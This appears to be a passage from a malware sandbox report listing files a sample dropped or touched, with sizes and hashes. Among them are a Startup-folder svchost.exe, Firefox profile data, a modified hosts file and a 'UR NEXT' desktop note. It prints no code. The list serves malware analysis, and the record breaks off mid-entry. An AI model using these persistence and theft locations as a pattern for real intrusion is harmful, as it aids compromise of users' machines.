                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\_MEI52602\unicodedata.pyd
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              295KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              af87b4aa3862a59d74ff91be300ee9e3

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              e5bfd29f92c28afa79a02dc97a26ed47e4f199b4

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              fac71c7622957fe0773214c7432364d7fc39c5e12250ff9eaaeea4d897564dc7

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              1fb0b8100dffd18c433c4aa97a4f2da76ff6e62e2ef2139edc4f98603ba0bb1c27b310b187b5070cf4e892ffc2d09661a6914defa4509c99b60bcbb50f70f4a0

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_slcvs0xa.yte.ps1
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              60B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\khjk1goa\khjk1goa.dll
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              6b0a851d324c9624b3c89c349bb10db6

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              42281ff0ae2c9575e52f11870371b23c5d23c2c8

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              c2208b39b2ce264902ff06c44c57997a67919210b3b1541e700d5e72b5a572fb

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              a0fd8a6407f84dd3d644a1f8869a734b1ea711747402b7415c2a7084b86ffdd7e0e978ca11db8e7ad7360100ef414a5a4bc9c10a33498be7d350744496933e39

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\scoped_dir6108_792233632\4dca93e4-b34f-43a1-947d-ab55c8903274.tmp
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              135KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              3f6f93c3dccd4a91c4eb25c7f6feb1c1

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              9b73f46adfa1f4464929b408407e73d4535c6827

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              19f05352cb4c6e231c1c000b6c8b7e9edcc1e8082caf46fff16b239d32aa7c9e

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              d488fa67e3a29d0147e9eaf2eabc74d9a255f8470cf79a4aea60e3b3b5e48a3fcbc4fc3e9ce58dff8d7d0caa8ae749295f221e1fe1ba5d20deb2d97544a12ba4

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\scoped_dir6108_792233632\CRX_INSTALL\_locales\en_CA\messages.json
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              711B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              558659936250e03cc14b60ebf648aa09

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              32f1ce0361bbfdff11e2ffd53d3ae88a8b81a825

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              2445cad863be47bb1c15b57a4960b7b0d01864e63cdfde6395f3b2689dc1444b

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              1632f5a3cd71887774bf3cb8a4d8b787ea6278271657b0f1d113dbe1a7fd42c4daa717cc449f157ce8972037572b882dc946a7dc2c0e549d71982dcdee89f727

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Desktop\ApproveSearch.docx
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              19KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              a6ccb480cd73f7212a55c17534309a02

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              12623da660f9bc9a82b0e9f9b9c41080e5626ab8

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              68d3859d070abe1d17d420d357c925d87c62a7a0c2e89ba00062a111d9767d65

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              a39a018498ef052a1b39d43d7709d9ea6e0b5a2611229d22a5a7bbc9080e349dddb1282faa3a727e3ec5b81e02caa6526ee86c6595aa49aade5798e824b2c167

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Desktop\DisableBackup.fon
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              646KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              838d8f6720bf676d55e974501a81b57f

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              c52be87a25582d41f218c53a7c2872b534aa7761

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              1563a2efee72cb667b0a0bdf3df08dab7515bbdde37ed5c180949f5a3092dd9c

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              4c02eb3a2408bedd19a97f22301311b32a63c3f90bd45698c83fed7be9afa0ed94c3256eb510dda424a53ee87d561a492826a92096eef02b4f5bcb4ac81d935d

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Desktop\ExpandRedo.xlsx
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              13KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              ab90d7f3bbe665ac6d934100b1585dc9

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              bfc3c8d612ac6594ec2b83a1179b8d4544e89614

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              c06da2b43148c12c8247c56c89540a20a6d87c7bed304c03fc993ef605d89bdf

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              c4709089e52b392360d1504b6400d2a16a48c9766048ec4780677121e3f58b34d4c1973886c2beb7d3d8d25fb495b788c652ada723d81ea3c0a45b7759a72fbc

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Desktop\RedoEnable.pdf
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              274KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              08044b4865a5664632a85b41a9e8674c

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              0eac838cfd4a48408c31ee56d5beb17ce8b6aa68

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              8f1ebf7514211774e3fe41029484beaefacdd729ee6f44660c2af4901d58fa77

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              701be5046dd805f91f1c19f1b500c067bdab00ab1a5ab25ec0946cd0c6dad648d6953dcdc729c78fa1ff225af73cbe3d8755b41b785816e374c0d566275e4e1a

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Desktop\UnregisterSend.docx
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              13KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              ce2fe8ea072530fb6e9cc38a7ae3a82c

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              2a18800dcb9eb746297841863e689fbeeff9b9bb

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              bb3d670f5b24bd65b356aaad8d563fd295184c183643f41b0c61b05710acad31

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              29579e5882e559016d7ff19f91110952417dd95468f2ea1ac968a647d4065337b8016f1d36bf9e82d59163e774264447f3a6e6e13f92af6b54b1988a832cb073

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Documents\ConfirmInvoke.xlsx
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              10KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              ad811b9645d47b57d86ca257e83f2276

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              8bbdce85cf00f069c05b6e66eaac45decc1214d2

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              23b2d3b165350c7f60ac8ebc1d2daa82884d0c315776792b4f1c5f69444d35f3

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              fb377adc8428feb8f950feb2b2358fccabb04a2cdefdfcc246e67b09599c55973e1754b5f86ed0cd7cf097db99e42a270f55a82e799540fbdddc01636a3bdefc

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Documents\DenyInstall.csv
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1.0MB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              15acaf305ee0964b6019c79e088d4cee

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              5f08bb04fdaafdf27b2038461753e655a4a4bc9e

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              3a153923ea9750eb70f9d7c3685e207a5d08582f859ff9b32175c4220bdd6cd3

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              e39abc3958d8fffac199925bf2803b82f37b98df5efda42e18bf0b60bbcd9a644a7d3978f512b7e051d0f3384fe0e5665cf846a701eb7022440905c31da36578

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Documents\DismountRestore.docx
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              16KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              408a99360790de83b5611675f45cd57c

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              c3f2ee4bdc638c7394dc9b4417b778a2507bfef5

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              72e8ba50bd946468d0f3934f1e354de51c9e615270f21262c2474f738d921989

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              263eb5ead7f91e4986d92a36d659e00848328287feb9dba3778fdcbd813e6d326a106b2d602485e42757a0370b148edb6d3d1b5f7155f54d7e7f3c8208dc6e9a

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Documents\DismountSwitch.xlsx
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              632KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              fde287892f3f72607a97ef0a5c54a180

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              618f0f8e912abd2a80065e67676d5cb74b4b2885

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              69df76b40d0ce3316b2ec0328f7e4907915fbb191b642c5e80bff6f117cc42e4

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              bf039278c3137c2ff045316e599a114953fe25246339533ef14ede2c31e91320b439530f309edd6c83ce29a50fe1484796679b036e9a75693a867b7f470051dc

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Documents\FormatStop.csv
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1021KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              ae1e4055c26711b9d6bdde4bf893e39d

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              908f857c881db5818a283087d2c7ce556a125162

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              a1717a23689c02999b9b65cf70bf267336289ff33e186186f81ab58b2debf618

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              215c3327307a4fb23a245204891c47f0a19f3fa90f08f88af539be4e72c5437911fa1ed6c8108ef25fba0d8663406675a06df1a7288676a6481d751823174343

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Documents\MergeRevoke.doc
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              535KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              f8fa5d90e29bb81be862649fae4582df

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              627beb7e6c2ee0c7d8a5d9d12e4c8c909f01d256

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              b12887db194ce67dc51e286f7b514d188b7f5c1d42b68a4fbde2699452c26d25

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              bcc2a55b3e6103c253eeeae003d38c7267a594b86cce59c3ae4d05fa6b3454edb647ef4e24b7b20d4a111c9e1d4dc95e1405ff4161a85e3a94fd00ae698f01d8

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\     ​ ‎  \Common Files\Documents\PushInstall.csv
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              924KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              b8c3d52ad5cc184513754d2221d86f32

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              658e928262ca895cd350b5d0974a6c0c9226851d

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              47452be1d7c30081f241870f63be199730cacb0110c877e6b4e13fc73bfef54a

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              83329c7588629ac237dae18a2348226455bdb06c24d3c3906d2e67bd59255b01962ff761a6bf2c69b81d91c17ee0252be3fc1b1db0defe6568f04f757c276591

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe:Zone.Identifier
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              55B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              0f98a5550abe0fb880568b1480c96a1c

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              d2ce9f7057b201d31f79f3aee2225d89f36be07d

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              2dfb5f4b33e4cf8237b732c02b1f2b1192ffe4b83114bcf821f489bbf48c6aa1

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              dbc1150d831950684ab37407defac0177b7583da0fe13ee8f8eeb65e8b05d23b357722246888189b4681b97507a4262ece96a1c458c4427a9a41d8ea8d11a2f6

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\AlternateServices.bin
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              8KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              5f573f77b52060c75b14ad836cbd2b19

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              22a0a562eaff57497b1e898b6b5168e34864fe58

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              57e6d7de3d4083bb1a4fc02072cd07f338a821bdc2dfff38ceda5db15ab1b08c

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              68f38a875a957b09cc2af5b1bf2daef7dd5c78e618963473358a82df3458e73faa8e2bb7690406017d824c6b1ee600c9272ff715131e5ae5c9dcf115d7d4f1ec

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\AlternateServices.bin
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              10KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              cdac0e44caba288ed5b673561f9db8de

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              488bd9e2849af743de02a863d12defe3b5b0f0a8

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              10322bff6deb3d618ee96c04177496034b27adf29acc58f9aa258c41e95ba859

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              7217b2aa827d7bfe2edfd453d3155248fc0eb7ee4ac4c55b2d7f77c1832eef44d034bef6f5f1fa698fab1bfb696ef9e9bd6168bb789b68b77b8c8bd2511aab3c

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\datareporting\glean\db\data.safe.tmp
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              3f9b2a4d439673e2edcab58ab162fa13

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              c8e61f0679346f67183d39bcc08f1b400a446cc4

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              835301cd057ae49399c463d75d34347566001d2057eb685911cde24e3de46796

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              6525259a0a1902c012182f0cb74a31d3ed66e44b2d6f82221e8dd3fe1b25f266fc87c9a254a63ae8718928a03fbea1119f7d76e87047101f6a3d9c51cc9d7a78

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\datareporting\glean\db\data.safe.tmp
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              948b63782597ef207105590701a05742

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              90da928b8f954149dc081be2199a3e01906cd921

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              111f91474dde59fb0924693b96d4e24de9c6ed268e3dd9567a3872f57cad46cc

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              5c39d98a0aa4b8e6f62081cbcead2397926add52b0160c65421874274b415a100fc77a5739708a4bf03086466d9ba931c460a823a25b8735c826b9a6961a3ac7

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\datareporting\glean\db\data.safe.tmp
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              13KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              6371dc522e126f46716dace2d6d3fa4b

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              514a9dd93a85251ffb8fdd075bbb5c5444280758

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              2a70dd31d31edf4f0515e90be61849d4cb1331319b812b568c4ca73bde083c38

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              a4c50db0a4e4709b9da1e143c94dd8b4734ae3ea63d163f36b2bdb7dc6ee9a965a45fccddeb67cbd83e315cae6e1ef24e044a9bf13a707eb1debfc09ac538e6f

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\datareporting\glean\pending_pings\212fc97b-6868-41f1-87f5-c074148e9379
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              982B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              60eedbed88ce81a4f091c35a9cee72a2

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              98c5a5d9dcb97813521fd8407aeaccb54e004606

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              d816ab2e0967605928c24097e4ac991e2edf698566fb3a1184cd2d7c71301be0

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              b0d45cd4c946a82b2f1d9a1d4fe1290b839de6ccf50fd2e0d0ca59b3afa885feda4f26fbaae0b21343f4b3ee2b8d504c554a46b111381e9543d550bbb032d9b2

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\datareporting\glean\pending_pings\c7f3e290-b9d4-4edd-b7b2-59c186995b4a
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              23KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              193282e9163dbc2bcd73fc21ff8a99f1

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              72b1d50a1c2930d175f2ff2c66808383a2de3c63

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              cb9cae9d3d1b3944754f713dc272532c55759105d005cebe4ce71990f141d1d4

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              881585e94164b679b0ec84a6c7294d35d1416b09c4d68b97d1ad6a880d703cbdd23f8902168d4b1d2445c98613bdb67033febab592dfe64060358f22238c2a19

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\datareporting\glean\pending_pings\f1a22f9b-3a81-408a-b084-b36ba82b17c9
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              78d45c8ba9761aa83fd0dfe7392202e3

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              d7b834db83de4c8650b0ebd6e07b11e5402f42d4

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              187f9effab2ca92cdf7b35a3057810f6271da117d7127d2b245458fc3acd9f84

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              47bbc8b936f381c52ec7d5984b1b40a25a084b4878ecb3e66ebedd16ced70f102944ad2366203fb89cc264744de8e537a20c229aaf9e4de9e3cf900b3b8eb219

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\datareporting\glean\pending_pings\f25254a9-be60-49ca-8c50-de26b1fa7413
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              671B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              e68e65fdce849fb543a402cceea015ad

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              1a952ee73346ecece62a24a5c64f8d2f2c4fca16

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              51740af7d2c31fe59c0c588d204e100da10e315b3c04d10f0a559c06247626ed

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              3e874ccbbbcf33cba5f4a2c02c612507937aa1d027176346e53a0362019ab3671e0d572c99205bc238a945afd6fa9d339b60c134287c86d9173ca7edea09a9f4

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\prefs-1.js
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              10KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              4135ea5e6f450c9d50f4ecff7f3a981f

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              b6897a4b0773732a4a506156608a23bb333802fd

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              645ac3bd56e3fc836e0a943b00590d4f702f94e31f35d30698e4234589de65b3

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              b24cbe1ef5215c82c4f41fa7d875ebc91004cbc82aa8430128ae306a432d3a7de896a6887cb12aeb449e47f36e13db49a5f349beacbdcf234df697d0ecf2f40c

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\prefs.js
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              10KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              00a2a4ac1fa0ab8163cbe514e4d098b3

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              6931f09b0c1b1993cda75f5d6c114d633b5a38b8

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              5bbd82915b94f6e9111b289b3e38d2ec57aa666205b93bf234ca8c0d5bc791f3

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              1fd948de31cd0c6f6c631f38fe15bc23cc153c242cb9e3abb4ce14598c0df0fdca6f17fc5a8b27ff9bbee587c039d4a19b96ad93d5e0c2e6e52d8e11d74b07ff

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o7bdpohx.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              384KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              61ef62ff6209b17916e898157aadfe42

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              e459f87acc8b24e47837021b555fbbef63205536

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              4f363fd779af39bae46aab453b596d0c20bf71f280f371791e6c6ad6b727ba2e

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              1dcc542ebd7efd2531dbac003564fa7c69a372fa33869f66d74038bc7d8826b0866d833d54ef848373a0da5c010ede4888040b172750f3396d57155094778a05

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\Desktop\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N1XT.txt
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              396B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              9037ebf0a18a1c17537832bc73739109

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              1d951dedfa4c172a1aa1aae096cfb576c1fb1d60

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              4fb5c06089524c6dcd48b6d165cedb488e9efe2d27613289ef8834dbb6c010632d2bd5e3ac75f83b1d8024477ebdf05b9e0809602bbe1780528947c36e4de32f

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\Downloads\Unconfirmed 334314.crdownload
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4.0MB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              1d9045870dbd31e2e399a4e8ecd9302f

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              7857c1ebfd1b37756d106027ed03121d8e7887cf

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              9b4826b8876ca2f1378b1dfe47b0c0d6e972bf9f0b3a36e299b26fbc86283885

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              9419ed0a1c5e43f48a3534e36be9b2b03738e017c327e13586601381a8342c4c9b09aa9b89f80414d0d458284d2d17f48d27934a6b2d6d49450d045f49c10909

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\Downloads\Unconfirmed 433950.crdownload
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              6.7MB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              f2b7074e1543720a9a98fda660e02688

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              1029492c1a12789d8af78d54adcb921e24b9e5ca

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              4ea1f2ecf7eb12896f2cbf8683dae8546d2b8dc43cf7710d68ce99e127c0a966

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              73f9548633bc38bab64b1dd5a01401ef7f5b139163bdf291cc475dbd2613510c4c5e4d7702ecdfa74b49f3c9eaed37ed23b9d8f0064c66123eb0769c8671c6ff

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\Downloads\Unconfirmed 433950.crdownload:SmartScreen
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              7B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              4047530ecbc0170039e76fe1657bdb01

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              32db7d5e662ebccdd1d71de285f907e3a1c68ac5

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              82254025d1b98d60044d3aeb7c56eed7c61c07c3e30534d6e05dab9d6c326750

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              8f002af3f4ed2b3dfb4ed8273318d160152da50ee4842c9f5d9915f50a3e643952494699c4258e6af993dc6e1695d0dc3db6d23f4d93c26b0bc6a20f4b4f336e

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Windows\System32\drivers\etc\hosts
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              2KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • \??\c:\Users\Admin\AppData\Local\Temp\khjk1goa\CSC997CB89C68014DC9A3ED24E11768992.TMP
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              652B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              4899eac6d5ecf32d08753afa7051e550

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              f123c97cf7cbb34e89447759eaf46842298b3dff

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              b7cb99bb7eb78a9bdb2561908a11e2c84b80603fd515b9623590f4c93c56655f

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              4d95c641aa26349fc82a34cc76b0cd272a72b2ace42be1fcaaf3aa749c35de47b8568699889061ee06bad5a659ebe794db76b28667e2bfc3d50b8940de19ce82

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • \??\c:\Users\Admin\AppData\Local\Temp\khjk1goa\khjk1goa.0.cs
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1004B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              c76055a0388b713a1eabe16130684dc3

                                                                                                                                                                                              SHA1

